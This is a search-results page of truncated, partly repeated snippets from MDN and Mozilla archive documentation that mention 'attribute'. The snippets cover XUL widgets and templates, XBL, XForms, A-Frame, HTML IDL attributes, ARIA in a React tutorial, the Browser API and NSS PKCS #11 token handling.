...sorts all the rules in cascade order, and then puts them in rulehash, which remembers order and then hashes by first of id, class, tag, namespace, or unhashed. to match rules, we do lookups in the rulehash's tables, remerge the lists of rules using stored indices, and then call selectormatchestree to find which selectors really match. matching of class and id selectors is much faster than, say,
attribute selectors. (important advice for chrome css authors.) pseudo-elements are hashed in element hash, so for matching pseudo-elements we only need one hashtable lookup. style contexts each style context (nsstylecontext), which is the interface through which layout accesses the style data for a given element, points to one rule node. we create one style context per frame, since frames point to ...
...And 4 more matches
A XUL Bestiary - Archive of obsolete content
tioning capabilities. skinning is most often brought up in the context of dynamic changes to the overall look of an application. though this is not yet in the browser, very soon it will be possible to change the look of a whole application dynamically, but only to the extent that the skin is actually defined in the main global.css, or global skin. when you create styles in <style> tags, as style
attributes for individual elements, or in custom css files, you break the ability of gecko to skin the application to which your xul belongs. widgets widgets are the pieces that you assemble to make an interface. menus, toolbars, buttons, and scrollbars are widgets, and so are such general purpose pieces as boxes and springs. these widgets can be created and placed within a xul file as simple elements: <...
...ly, these widgets are also known as the xptoolkit. object models: dom and aom the document object model is the representation of a document as a series of scriptable objects. when a scripting language like javascript accesses various parts of an html document, it does so by means of the dom. the parts of the document, such as the head, the links, the body, any tags, are available as nodes whose
attributes can be got and set. there are, unfortunately, different document object models corresponding to different types of documents and also to different proprietary notions about what in a document should be exposed programmatically. the w3c has standardized on a particular dom and already has a candidate recommendation for an updated version. this is the dom that is reflected in xul and in the mozill...
...nt. in briefest terms, xul is the xml-based language used for creating interfaces, xptoolkit is the set of xul widgets (menus, toolbar, etc.) actually assembed for this purpose -- the building blocks of the interface, as it were -- and xpfe, the cross platform front end, is the front end that has been created from xptoolkit. the differences here are significant: xul is the universe of elements,
attributes, syntax, rules, and relationships, while xptoolkit is really the finite set of interface-specific elements created in xul. the xpfe is what's been created out of the xptoolkit. a loosely analogous relationship might be that xul, xptoolkit, and xpfe are to one another what html, the actual html tags, and an html web page are to one another, respectively. xul parts people sometimes get confused ...
...And 4 more matches
Building accessible custom components in XUL - Archive of obsolete content
ontain the other elements and position them in rows and columns. description elements for each row and column header. label elements for each cell in the spreadsheet. the xul markup is straightforward. we define the grid, then define the headers for each row (numbered 1 through 7), then define the column header and cells for each column. the label for each header and cell is defined in the value
attribute. the flex
attributes are simply for layout. note: the row and column headers are denoted by description elements, and individual cells are denoted by label elements. this is not an accessibility requirement; as we'll see in the next section, the actual xul elements are irrelevant because we will define the role of each element in a separate
attribute. <code> <grid class="spreadsheet" id="accjaxsp...
...ch element in our spreadsheet. the grid element is really a spreadsheet. each label element is really a cell within the spreadsheet. each description element is really a row or column header within the spreadsheet. you can find a list of all the supported roles in firefox 1.5 on mozilla.org. role declarations are a little confusing at first glance, but they all follow the same pattern. the role
attribute itself is in the xhtml 2 namespace. we will need to declare the namespace (xmlns:x2="http://www.w3.org/tr/xhtml2") so we can add an xhtml2:role
attribute to each xul element. the role
attribute value is also in a namespace. we will need to declare this namespace as well (xmlns:wairole="http://www.w3.org/2005/01/wai-rdf/guiroletaxonomy#"), and then use this namespace prefix (wairole:) as part of t...
...this will become clearer with some concrete examples: the grid element is the container for the entire control; it gets a role of "wairole:spreadsheet". some of the description elements are row headers, and others are column headers. ...
...And 4 more matches
Filtering - Archive of obsolete content
ment. to remove the filter, the <triple> should be removed again. let's assume that we've given an id of 'cond' to the query tag. function applyfilter(country) { var cond = document.getelementbyid("cond"); var triple = document.getelementbyid("filtertriple"); if (country) { if (!triple) { triple = document.createelement("triple"); triple.id = "filtertriple"; triple.set
attribute("subject", "?photo"); triple.set
attribute("predicate", "http://www.xulplanet.com/rdf/country"); } triple.set
attribute("object", country); cond.appendchild(triple); } else if (triple) { cond.removechild(triple); } document.getelementbyid("photoslist").builder.rebuild(); } the 'country' argument to the applyfilter function holds the value to filter by. if this is set...
...bute("object", country); cond.appendchild(triple); } else if (triple) { cond.removechild(triple); } document.getelementbyid("photoslist").builder.rebuild(); } the 'country' argument to the applyfilter function holds the value to filter by. if this is set, we add a filter, otherwise we remove it. the code is fairly straightforward. a new <triple> element is created and the object
attribute is set to the value to filter by. for example, the resulting triple for the netherlands might be: <triple subject="?photo" predicate="http://www.xulplanet.com/rdf/country" object="http://www.daml.org/2001/09/countries/iso#nl"/> this triple is then appended to the query. the triple is given an id so that it can be found later if a different filter is applied. naturally, we only w...
...-rdf-syntax-ns#type -> http://www.daml.org/2001/09/countries/country-ont#country http://www.daml.org/2001/09/countries/iso#it -> http://purl.org/dc/elements/1.1/title -> italy the type is just like any other triple in the datasource, so we don't need any special syntax to navigate over it. we just need to use the right predicate to look for all the countries. you might wonder what the ref
attribute or starting point should be set to since there is no container for the countries. actually, we can just use the type as the starting point. <menulist datasources="template-guide-photos4.rdf" ref="http://www.daml.org/2001/09/countries/country-ont#country"> remember that the only requirement is that the starting point be a resource, but it doesn't matter what resource is used. the query...
...And 4 more matches
SQLite Templates - Archive of obsolete content
« previousnext » templates may use a datasource that is retrieved from an sqlite database, such as those used by the mozstorage api. this allows information from the database to be used to generate xul content. to do this, set the querytype
attribute on the root node of the template to the value storage. this will cause the datasource to be treated as an sqlite database. the datasources
attribute may be set to one of two possible types of values. first, it may a file url pointing to a file on disk. in this case, you will often be setting the datasources
attribute dynamically after determining the file path. (if you intend to set it by script, you must set datasources in the xul to rdf:null). the second method involves using a special url form: profile:filename.sqlite this form wi...
...file:filename.sqlite this form with the 'profile' prefix is used to refer to files in the profile directory. this is useful for user data, and is suitable as you do not need to calculate where this directory is located. the file within this directory is specified after the colon, in this case 'filename.sqlite'. sqlite files typically have the 'sqlite' extension. as with xml datasources, the ref
attribute isn't currently used for sqlite sources, so you should just set the ref
attribute to a dummy value; '*' is typically used. the query for an sqlite datasource is just an sql select statement, as text inside the query element. this simple example shows how to display a listbox containing the values in one column in a database table. <listbox datasources="profile:userdata.sqlite" ref="*" querytype=...
...he query returns the list of values from the 'name' column in the table 'myfriends'. the action body, starting at the node with uri="?" is repeated for each result returned from the query. if the query returns six results, six listitems will be generated. the labels have the special value '?name'. the syntax with the question mark is similar as with the other query types. it means, substitute the
attribute value with the value of a column from the result. in this case, '?name' means replace this with the value of the name column. the effect is a listbox containing the names from the database. you can return multiple columns or filtered data by using a more complex query. <vbox datasources="profile:userdata.sqlite" ref="*" querytype="storage"> <template> <query> select name, email from ...
...And 4 more matches
Anonymous Content - Archive of obsolete content
look at creating content with xbl. xbl content xbl can be used to automatically add a set of elements inside another element. the xul file only needs to specify the outer element while the inner elements are described in the xbl. this is useful for creating a single widget that is made up of a set of other widgets, but can be referred to as only a single widget. mechanisms are provided for adding
attributes to the inner elements that were specified on the outer element. declaring scrollbar example the example below shows how a scrollbar might be declared (it has been simplified a bit from the real thing): <bindings xmlns="http://www.mozilla.org/xbl" xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <binding id="scrollbarbinding"> <content> <xul:scrollb...
...s:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <binding id="scrollbarbinding"> <content> <xul:scrollbarbutton type="decrement"/> <xul:slider flex="1"> <xul:thumb/> </xul:slider> <xul:scrollbarbutton type="increment"/> </content> </binding> </bindings> this file contains a single binding, declared with the binding element. the id
attribute should be set to the identifier of the binding. this way it can be referred to through the css -moz-binding property. the content tag is used to declare anonymous content that will be added to the scroll bar. all of the elements inside the content tag will be added inside the element that the binding is bound to. presumably this binding would be bound to a scroll bar, although it doesn't have to ...
...t was in the xul file, so the menupopup will be a child of the menu. the xbl content is hidden away so the xul developer doesn't need to even know it is there. the resulting content would be: <menu class="dropbox"> <menupopup> <menuitem label="1000"/> <menuitem label="2000"/> </menupopup> <textbox flex="1"/> <button src="chrome://global/skin/images/dropbox.jpg"/> </menu> includes
attribute in some cases, you may wish to only include specific types of content and not others. or, you may wish to place different types of content in different places. the includes
attribute can be used to allow only certain elements to appear in the content. its value should be set to a single tag name, or to a list of tags separated by vertical bars (the | symbol). <children includes="button"/> this l...
...And 4 more matches
Input Controls - Archive of obsolete content
« previousnext » xul has elements that are similar to the html form controls. looking for a guide to using input controls and forms on the web? see forms in html. text entry fields html has an input element which can be used for text entry controls. xul has a similar element, textbox, used for text entry fields. without any
attributes, the textbox element creates a box in which the user can enter text. textboxes accept many of the same
attributes as html input controls. the following are some of them: id a unique identifier so that you can identify the textbox. class the style class of the textbox. value if you want the textbox to have default text, supply it with the value
attribute. disabled set to true to have text entry disabled. textbox.type you can set th...
...this is usually used for password entry fields. maxlength the maximum number of characters that the textbox allows. note that while in html, several different kinds of fields can be created with the input element, in xul there are separate elements for each type. ...
...sword"/> <textbox id="some-password" type="password" maxlength="8"/> multiline textbox the textbox examples above will create text inputs that can only be used for entering one line of text. html also has a textarea element for creating a larger text entry area. in xul, you can use the textbox element for this purpose as well -- two separate elements are not necessary. if you set the multiline
attribute to true, the text entry field will display multiple rows. example 2 : source view <textbox multiline="true" value="this is some text that could wrap onto multiple lines."/> like the html textarea, you can use the rows and cols
attributes to set the size. this should be set to the number of rows and columns of characters to display. our find files example let's add a search entry f...
...And 4 more matches
List Controls - Archive of obsolete content
lf, and the listitem element for each item. for example, this list box will have four rows, one for each item. example 1 : source view <listbox> <listitem label="butter pecan" /> <listitem label="chocolate chip" /> <listitem label="raspberry ripple" /> <listitem label="squash swirl" /> </listbox> like with the html option element, you can assign a value for each item using the value
attribute. you can then use the value in a script. the list box will default to a suitable size, but you can control the size with the rows
attribute. set it to the number of rows to display in the list box. a scroll bar will appear that the user can use to display the additional rows. the following example demonstrates these additional features: example 2 : source view <listbox rows="3"> <listitem labe...
...listbox. the listcols element is used to hold the column information, each of which is specified using a listcol element. you will need one listcol element for each column in the listbox. the listcell element may be used for each cell in a row. if you want to have three columns, you will need to add three listcell elements inside each listitem. to specify the text content of a cell, place a label
attribute on a listcell. for the simple case where there is only one column, you may also place the label
attributes directly on the listitem elements and leave the listcell elements out entirely, as was seen in the earlier listbox examples. the following example is of a listbox with two columns and three rows: example 3 : source view <listbox> <listcols> <listcol/> <listcol/> </listcols> ...
...played differently. you would use this to create column headers. two new elements are used. the listhead element is used for the header rows, just as the listitem element is used for regular rows. the header row is not a normal row however, so using a script to get the first row in the list box will skip the header row. the listheader element is used for each cell in the header row. use the label
attribute to set the label for the header cell. here is the earlier example with a header row: example 4 : source view <listbox> <listhead> <listheader label="name" /> <listheader label="occupation" /> </listhead> <listcols> <listcol/> <listcol flex="1" /> </listcols> <listitem> <listcell label="george" /> <listcell label="house painter" /> </listitem> <listitem...
...And 4 more matches
Modifying a XUL Interface - Archive of obsolete content
« previousnext » the dom provides various functions to modify the document. creating new elements you can create new elements using the createelement() function of the document. it takes one argument, the tag name of the element to create. you can then set
attributes of the element using the set
attribute() function and append it to the xul document using the appendchild() function. ...
...name of the element to create. you can then set
attributes of the element using the set
attribute() function and append it to the xul document using the appendchild() function. for example, the following will add a button to a xul window: example 1 : source view <script> function addbutton(){ var abox = document.getelementbyid("abox"); var button = document.createelement("button"); button.set
attribute("label","a new button"); abox.appendchild(button); } </script> <box id="abox" width="200"> <button label="add" oncommand="addbutton();"/> </box> this example has two parts a box container element in xul. notice that this is not the same as a vbox or an hbox. ...
...ton"); button.set
attribute("label","a new button"); abox.appendchild(button); } </script> <box id="abox" width="200"> <button label="add" oncommand="addbutton();"/> </box> this example has two parts a box container element in xul. notice that this is not the same as a vbox or an hbox. (this is discussed more in the box model pages.) the box element has two
attributes "id" and "width". the box element contains a button element. the button element has two
attributes "label" and "oncommand" a javascript function named "addbutton()" this script first gets a reference to the box with getelementbyid(), which is the container to add a new button to. the function ge...
...And 4 more matches
RDF Datasources - Archive of obsolete content
http://home.netscape.com/nc-rdf#referrer referrer of the page url http://home.netscape.com/nc-rdf#url url of the page visit count http://home.netscape.com/nc-rdf#visitcount number of page visits a typical history list will display a tree with a selection of these fields. to use them, just put the url values above in the label
attributes of the buttons or treecells. you can use nc:historyroot as the value of the ref
attribute. you can also use the value nc:historybydate to get the history sorted into days. using the history list example let's see an example of displaying the history list. we'll display the history in a tree with three columns, the name, the url and the date. example 1 : source <tree flex="1" datasources="rdf:his...
... extension http://home.netscape.com/nc-rdf#extension the extension of the file, including the period. this property is only available on platforms that use file extensions. possible files roots nc:filesroot top level of the filesystem (usually the list of drives) a file url by using a file url for the ref
attribute, you can select a specific directory to be returned. for example, you might use file:///windows or files:///usr/local. the files datasource is an example of a datasource that determines its resources only when necessary. we don't want every file in the filesystem to be determined before the data is displayed. instead, only the files and directories that the tree element (or other element...
... datasource is an example of a datasource that determines its resources only when necessary. we don't want every file in the filesystem to be determined before the data is displayed. instead, only the files and directories that the tree element (or other elements) will need to display at a given time will be determined. composite datasources you can specify multiple datasources in the datasources
attribute by separating them with whitespace as in the example below. this has the effect of reading the data from all the datasources mentioned. <tree datasources="rdf:bookmarks rdf:history animals.rdf" ref="nc:bookmarksroot"> this example reads the resources from the bookmarks, history and the animals.rdf file. they are combined into a single composite datasource and can be used as if they were one. the...
...And 4 more matches
Using Remote XUL - Archive of obsolete content
we need a way to display pages from the mozilla.org web site. for that we'll use a xul iframe element. <?xml version="1.0"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <iframe src="https://www.mozilla.org/" flex="1" /> </window> the xul iframe element is just like its html counterpart: it defines an area within which web content can be displayed. its src
attribute contains the url of the page being displayed in the iframe. we set this value to the mozilla.org home page by default so that page loads into the iframe when we first load the xul document. the iframe's flex
attribute tells the browser to stretch the iframe to fill the space available to it. without it, the iframe's size would be a fixed default and wouldn't change when the user resized their wi...
...an element with a flex of "2" is twice as flexible as an element with a flex of "1", so the first element might show up as twice as wide as the second. ...
..."https://www.mozilla.org/" flex="1" /> </window> the menubar element is a container for a series of menus. it can also contain other elements. it serves to group menus together into a single horizontal bar like the one you see at the top of many desktop applications. the menu element defines a pull-down menu, and the button element defines a pressable button. both menus and buttons take a label
attribute whose value is the text to display in the element. source | rendered step 4: menu items menus aren't terribly useful unless they contain selectable items. to add items to a menu, we need to first add a menupopup element and then put menuitem elements within it for each item we want to appear on the menu. <?xml version="1.0"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there...
...And 4 more matches
dialogheader - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a heading row for a dialog box. this element should be placed inside a dialog element. the header may have a title and a description. ...
... « xul reference home [ examples |
attributes | properties | methods | related ] a heading row for a dialog box. this element should be placed inside a dialog element. the header may have a title and a description. ...
...an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed. ...
...And 4 more matches
progressmeter - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a meter which can be used to display the progress of a lengthy operation. it is drawn as a bar that is filled as the operation completes. in addition, an indeterminate progressmeter may be created by setting the mode
attribute to undetermined. this is used when the length of time to complete an operation is not known beforehand. more information is available in the xul tutorial. ...
... related ] a meter which can be used to display the progress of a lengthy operation. it is drawn as a bar that is filled as the operation completes. in addition, an indeterminate progressmeter may be created by setting the mode
attribute to undetermined. this is used when the length of time to complete an operation is not known beforehand. more information is available in the xul tutorial. ...
...the default value if not specified is 100 such that the value may be used as a percentage. mode type: one of the values below a determinedprogressmeter is used in cases where you know how long an operation will take. an undeterminedprogressmeter can be used when you don't and will typically be drawn as a spinni...
...And 4 more matches
query - Archive of obsolete content
any namespace prefixes declared on the element may be used within the expression. ...
...any namespace prefixes declared on the element may be used within the expression. ...
...any namespace prefixes declared on the element may be used within the expression. ...
...And 4 more matches
script - Archive of obsolete content
type type: language content type the language of the script. usually, you would set this to application/javascript. ...
... type type: language content type the language of the script. usually, you would set this to application/javascript. ...
... type type: language content type the language of the script. usually, you would set this to application/javascript. ...
...And 4 more matches
XForms Custom Controls - Archive of obsolete content
solution you are looking for. for example, you might want to render images that are held inside an instance document or you would like to show a disabled trigger when its bound node becomes irrelevant rather than having it not display (the current default behavior). every xforms control's presentation has its own xbl binding. in many cases different values provided for the appearance or mediatype
attributes will determine which xbl binding will be used for a particular xforms control on the form. as mentioned in the spec, the appearance
attribute can be used to influence the look and feel of a control even when all other conditions remain constant. for example, in the mozilla xforms extension we will render a combobox widget when appearance='minimal' on a select1 control. should the form author ins...
...imal' on a select1 control. should the form author instead choose to use appearance='compact' on this control, we would render a listbox widget. here is a snippet from our .css file to show the type of css rule we would use to make such a determination. xf|select1[appearance="compact"] { -moz-binding: url('chrome://xforms/content/select-xhtml.xml#xformswidget-select1-compact'); } the mediatype
attribute can be used by the form author to align the type of presentation with the type of data that the bound instance node contains. for example, if mediatype='image/*' then the user should see the image that the bytes represent rather than just the byte sequence. xf|output[mediatype^="image"] { -moz-binding: url('chrome://xforms/content/xforms-xhtml.xml#xformswidget-output-mediatype-anyuri'); } cust...
...ut-mediatype-anyuri'); } custom data types if you define a new schema data type or you use a built-in data type and find the current xforms control for this type to be insufficient, then you should write a new custom control. for example, if you have an instance node of type xsd:date and you'd like to see the date displayed in a local format. ...
...And 4 more matches
XForms Repeat Element - Archive of obsolete content
introduction a repeat element contains markup and is itself bound to a nodeset in an instance document (see the spec). for each node in the nodeset, the contents of the repeat element will be displayed in the form. that node will serve as the context node for any relative xpath expressions in that set of repeated markup.
attributes ui common appearance - the value of this
attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent this control. node set binding special startindex - optional 1-based initial value of the repeat index. the default value is 1. number - isn't supported type restrictions the repeat element can be bound to a nodeset. representations the repeat element doesn't have a visual representation. however, it can influence t...
... represent this control. node set binding special startindex - optional 1-based initial value of the repeat index. the default value is 1. number - isn't supported type restrictions the repeat element can be bound to a nodeset. representations the repeat element doesn't have a visual representation. however, it can influence the layout of generated controls depending on its appearance
attribute. default layout each generated control set is placed vertically. compact layout each generated control set is placed horizontally. occurs when the repeat element's appearance
attribute has a value of compact. behaviour focusing a generated control may change the current index of the containing repeat element. the index is equal to the index of the control set that the focused control bel...
...thus, one might wish to use element repeat within a table to create the rows of a table, where each row of the table binds to a distinct member of a homogeneous collection. since html:table doesn't (and probably never will) allow xforms:repea...
...And 4 more matches
Building up a basic demo with A-Frame - Game development
can set the position of the camera explicitly and move it back a little bit from the center of the scene, so we'll be able to see the shapes. add this just before the closing </a-scene> element: <a-camera position="0 1 4" cursor-visible="true" cursor-scale="2" cursor-color="#0095dd" cursor-opacity="0.5"> </a-camera> we've also defined a cursor for the given camera, using the cursor-*
attributes (by default it is invisible.) — we've set its scale so it will more easily visible, its color, and some opacity so it won't completely covering the objects behind it. adding lights the basic light types in a-frame are directional and ambient. the first type is a directional light placed somewhere on the scene while the second one reflects the light from the first type, so it looks more natur...
...use we have to create a material to define the appearance of the entity. edit the <a-entity> defining the torus to look like the following: <a-entity geometry=" primitive: torus; radius: 1; radiustubular: 0.1; segmentstubular: 12;" material=" color: #eaeff2; roughness: 0.1; metalness: 0.5;" rotation="10 0 0" position="-3 1 0"> </a-entity> in the new material
attribute, we set up the color of the material, then its roughness (a rougher material will scatter reflected light in more directions than a smooth material) and metalness (how metallic the material is). adding some javascript to the mix it is possible to populate the scene with entities created using javascript too, so let's use it to add a third shape, a cylinder. add a new <script> element at the end...
...o the mix it is possible to populate the scene with entities created using javascript too, so let's use it to add a third shape, a cylinder. add a new <script> element at the end of the <body> element, just after the <a-scene> element, then add the following javascript code inside it: var scene = document.queryselector('a-scene'); var cylinder = document.createelement('a-cylinder'); cylinder.set
attribute('color', '#ff9500'); cylinder.set
attribute('height', '2'); cylinder.set
attribute('radius', '0.75'); cylinder.set
attribute('position', '3 1 0'); scene.appendchild(cylinder); we're getting a reference to the scene handler first, then we create the cylinder element as an a-frame entity. after that it's all about setting the proper
attributes: color, height, radius and position. the last line adds ...
...And 4 more matches
IDL - MDN Web Docs Glossary: Definitions of Web-related terms
an idl (interface description language) is a generic language used to specified objects' interfaces apart from any specific programming language. content versus idl
attributes in html, most
attributes have two faces: the content
attribute and the idl (interface definition language)
attribute. the content
attribute is the
attribute as you set it from the content (the html code) and you can set it or get it via element.set
attribute() or element.get
attribute(). the content
attribute is always a string even when the expected value should be an integer. ...
...tribute and the idl (interface definition language)
attribute. the content
attribute is the
attribute as you set it from the content (the html code) and you can set it or get it via element.set
attribute() or element.get
attribute(). the content
attribute is always a string even when the expected value should be an integer. for example, to set an <input> element's maxlength to 42 using the content
attribute, you have to call set
attribute("maxlength", "42") on that element. the idl
attribute is also known as a javascript property. these are the
attributes you can read or set using javascript properties like element.foo. ...
...e content
attribute is always a string even when the expected value should be an integer. for example, to set an <input> element's maxlength to 42 using the content
attribute, you have to call set
attribute("maxlength", "42") on that element. the idl
attribute is also known as a javascript property. these are the
attributes you can read or set using javascript properties like element.foo. the idl
attribute is always going to use (but might transform) the underlying content
attribute to return a value when you get it and is going to save something in the content
attribute when you set it. in other words, the idl
attributes, in essence, reflect the content
attributes. most of the time, idl
attributes will return their values as they are really used. for example, the default type for <input> elements...
...And 4 more matches
Index - Learn web development
learn, position, borders, color we have covered quite a lot here, and you can see that there is quite a lot to adding a background or a border to a box. do explore the different property pages if you want to find out more about any of the features we have discussed. each page on mdn has more examples of usage for you to play with and enhance your knowledge. 107 css selectors
attribute, beginner, css, class, learn, pseudo, selectors, id in css, selectors are used to target the html elements on our web pages that we want to style. there are a wide variety of css selectors available, allowing for fine-grained precision when selecting elements to style. in this article and its sub-articles we'll run through the different types in great detail, seeing how they work. 10...
...nner, css, class, learn, pseudo, selectors, id in css, selectors are used to target the html elements on our web pages that we want to style. there are a wide variety of css selectors available, allowing for fine-grained precision when selecting elements to style. in this article and its sub-articles we'll run through the different types in great detail, seeing how they work. 108
attribute selectors
attribute, beginner, css, learn, selectors as you know from your study of html, elements can have
attributes that give further detail about the element being marked up. in css you can use
attribute selectors to target elements with certain
attributes. this lesson will show you how to use these very useful selectors. 109 combinators css, selectors, combinators ...
...er, in many cases we just need some quick hints as we go. that's the whole purpose of the cheatsheet, to give you some quick accurate ready to use code snippets for common usages. 226 html tables <td>, <th>, <tr>, article, beginner, codingscripting, guide, html, landing, module, tables a very common task in html is structuring tabular data, and it has a number of elements and
attributes for just this purpose. coupled with a little css for styling, html makes it easy to display tables of information on the web such as your school lesson plan, the timetable at your local swimming pool, or statistics about your favorite dinosaurs or football team. this module takes you through all you need to know about structuring tabular data using html. 227 assessment: structuring pl...
...And 4 more matches
Beginning our React todo list - Learn web development
rdered list. each task is a list item (<li>), and has buttons to edit and delete it and a checkbox to check it off as done. the form will allow us to make tasks; the buttons will let us filter them; the heading and list are our way to read them. the ui for editing a task is conspicuously absent for now. that's okay – we'll write that later. accessibility features you may notice some unusual
attributes here. for example: <button type="button" classname="btn toggle-btn" aria-pressed="true"> <span classname="visually-hidden">show </span> <span>all</span> <span classname="visually-hidden"> tasks</span> </button> here, aria-pressed tells assistive technology (like screen readers) that the button can be in one of two states: pressed or unpressed. think of these as analogs for on and off. se...
... to screen reader users — this is because these words are not needed by sighted users; they are there to provide more information about what the button does for screenreader users that do not have the extra visual context to help them. ...
...role
attribute helps assistive technology explain what kind of element a tag represents. a <ul> is treated like a list by default, but the styles we're about to add will break that functionality. this role will restore the "list" meaning to the <ul> element. if you want to learn more about why this is necessary, you can check out scott o'hara’s article, “fixing lists”. the aria-labelledby
attribute tells assistive technologies that we're treating our list heading as the label that describes the purpose of the list beneath it. making this association gives the list a more informative context, which could help screen reader users better understand the purpose of it. ...
...And 4 more matches
Using the Browser API
the html browser api is an extension of the html <iframe> element that allows web apps to implement browsers or browser-like applications. it was originally used in firefox os to implement browser applications before that project was cancelled; since firefox 47 it is available to desktop chrome code and used in places like the firefox devtools. it consists of two major parts: custom <iframe>
attributes: by adding a mozbrowser
attribute to the <iframe> element we can make it appear like a top-level browser window to the embedded content. this means that window.top, window.parent, window.frameelement, etc. should not reflect the frame hierarchy. api extensions: the api includes several new methods and events to manipulate and listen for changes to the embedded content's state, interited by the ...
...pproach is to clone the github repo locally (or just download it directly if you don't do github), open webide, open the repo as a packaged app, then run it either on a simulator or a real device if you have one. in any case, you should at least download the repo and refer to the code as you read the sections below. the html an <iframe> is turned into a browser iframe by setting the mozbrowser
attribute on it: <iframe src="http://mozilla.org" mozbrowser> in addition, the <iframe> can be loaded in its own child process — separate to the page embedding this frame — by including the remote
attribute. <iframe src="http://hostname.tld" mozbrowser remote> warning: this last
attribute is necessary for security reasons if you plan to load content from an untrusted/unknown origin. if you don't u...
...tp://, etc.). when you press the keyboard's return button, the 'submit' event is fired, which we handle like this: urlform.addeventlistener('submit',function(e) { e.preventdefault(); browser.src = urlbar.value; urlbar.blur(); }); we first call preventdefault() to stop the form just submitting and reloading the page — which is really not what we want. we then set the browser iframe's src
attribute to equal the value of the url bar, which causes the new url to be loaded in the iframe. finally, we call blur() on the url bar to stop focusing it, so the keyboard moves off the screen, allowing us to get our full screen view back. there's another event listener added later on in the code that listens for the mozbrowserlocationchange event. when this fires, we set the value inside the url bar in...
...And 4 more matches
How to implement a custom autocomplete search component
f the "xpfe" codebase and is used in older applications such as thunderbird and seamonkey. a newer and slightly simplified mechanism that is used in "toolkit" applications such as firefox and xulrunner. thunderbird 2.x and seamonkey 1.1.x support the toolkit interfaces, although they do not use the same autocomplete widget. to use autocomplete with a xul textbox, all you need to do is set some
attributes: <textbox type="autocomplete" autocompletesearch="history"/> the type="autocomplete" turns on the autocomplete mechanism and the autocompletesearch="history" sets the source for the autocomplete. there are more options and features, see xul:textbox_(firefox_autocomplete) for more details. the toolkit mechanism has built-in support for several autocomplete sources, including: history: search t...
...nism has built-in support for several autocomplete sources, including: history: search the browser's url history (firefox: 1.0+; seamonkey: 1.1+) form-history: search the values that the user has entered into form fields. (firefox: 1.0+; seamonkey: 2.0+) file: search file names (firefox: 2.0+; thunderbird: 2.0+; seamonkey: 1.1+; gtk builds only). the component uses the autocompletesearchparam
attribute or searchparam property to allow the developer to define the default directory otherwise only paths beginning with / or ~/ will be autocompleted. building your custom autocomplete search components sometimes, you may want to build your own autocomplete source. to do so you need the following: create an xpcom component that implements the nsiautocompletesearch interface. make sure the contract...
...the json is converted into an array and used // as the source of match data. any values that match the search string // are moved into temporary arrays and passed to the autocompleteresult if (searchparam.length > 0) { var nativejson = components.classes["@mozilla.org/dom/json;1"].createinstance(ci.nsijson); var se...
...And 4 more matches
Mozilla Web Developer FAQ
ll, though, in newer versions of mozilla. however, that functionality only exists for compatibility with sites authored specifically for ie. you should not rely on mozilla’s document.all support on new pages.) the method document.getelementbyid() can be used instead. in the standards mode mozilla does not generate implicit top-level javascript variable bindings for elements with the id or name
attribute. the correct way to access an element by id is to call the document.getelementbyid() method with the id as a string as the argument. also, old client sniffers can shut out new browsers. the point of having a common api (the w3c dom) is interoperability, and checking for a particular browser defeats that purpose. when working with the dom, it is better to check for the existence of the methods an...
...stence of document.getelementbyid() can be checked as follows: if(document.getelementbyid) { /* code that uses document.getelementbyid() */ } why doesn’t mozilla display my alt tooltips? contrary to a popular belief stemming from the behavior of a couple browsers running on the windows platform, alt isn’t an abbreviation for ‘tooltip’ but for ‘alternative’. the value of the alt
attribute is a textual replacement for the image and is displayed when the image isn’t. mozilla doesn’t display the alt
attribute as a tooltip, because it has been observed that doing so encourages authors to misuse the
attribute. when the alternative text is shown in a tooltip, some authors write bad alt texts, because they intend the text as auxiliary tooltip text and not as a replacement for the...
...ext and not as a replacement for the image. (‘bad’ in the sense that the textual alternative is less useful for people who don’t see the image.) when the alternative text is shown in a tooltip, other authors don’t want to supply textual alternatives at all, because they don’t want tooltips to appear. (again, making things harder for people who don’t see the image.) there is another
attribute that mozilla shows as a tooltip: title. in fact, the html 4.01 specification suggests that the title
attribute may be displayed as a tooltip. however, this particular display method is not required and some other browsers show the title
attribute in the browser status bar, for example. at this point some people feel compelled to post a “but ie…” rant in the newsgroups or in bugzilla. pleas...
...And 4 more matches
PKCS11 Implement
, if a particular token can't do des encryption, nss decrypts the key, then copies it over to the token that can do des encryption. the nss creates certificates as token objects. it loads the token object only if the private key for that certificate exists on the token and was generated by nss. all the fields defined by pkcs #11 for certificates are set. ...
... nss decrypts the key, then copies it over to the token that can do des encryption. the nss creates certificates as token objects. it loads the token object only if the private key for that certificate exists on the token and was generated by nss. all the fields defined by pkcs #11 for certificates are set. the nss also sets the cka_id and cka_label
attributes for the token. ...
...ct only if the private key for that certificate exists on the token and was generated by nss. all the fields defined by pkcs #11 for certificates are set. the nss also sets the cka_id and cka_label
attributes for the token. currently, the cka_id
attribute is set to the modulus for rsa or to the public value on dsa. the nss may hash this value in the future. in either case, nss does set the cka_id
attribute and expects it to remain the same. if a certificate is loaded, the value of the certificate's cka_id
attribute must match the value of the cka_id
attribute for the corresponding private key, and the value of the certificate's cka_label
attribute must also match the value of the cka_label
attribute for the private key. for private keys that don't include certificates, nss doesn't set the cka_label...
...And 4 more matches
extIApplication
introduced in thunderbird 3 the extiapplication is defined in toolkit/components/exthelper/extiapplication.idl. implemented via xpcom service for extiapplication: see the instructions on the fuel (firefox), steel (thunderbird) and smile (seamonkey) pages. ...
.../exthelper/extiapplication.idl. implemented via xpcom service for extiapplication: see the instructions on the fuel (firefox), steel (thunderbird) and smile (seamonkey) pages. ...
...rvice for extiapplication: see the instructions on the fuel (firefox), steel (thunderbird) and smile (seamonkey) pages. method overview boolean quit() boolean restart() void getextensions(extiextensionscallback acallback)
attributes the following interfaces are available to all applications:
attribute type description id readonly
attribute astring the id of the application. name readonly
attribute astring the name of the application. ...
...And 4 more matches
extIExtension
this content covers features introduced in thunderbird 3 the extiextension interface represents an extension. extiextension is defined in toolkit/components/exthelper/extiapplication.idl. implemented via xpcom service for extiapplication: see the instructions on the fuel (firefox), steel (thunderbird) and smile (seamonkey) pages. ...
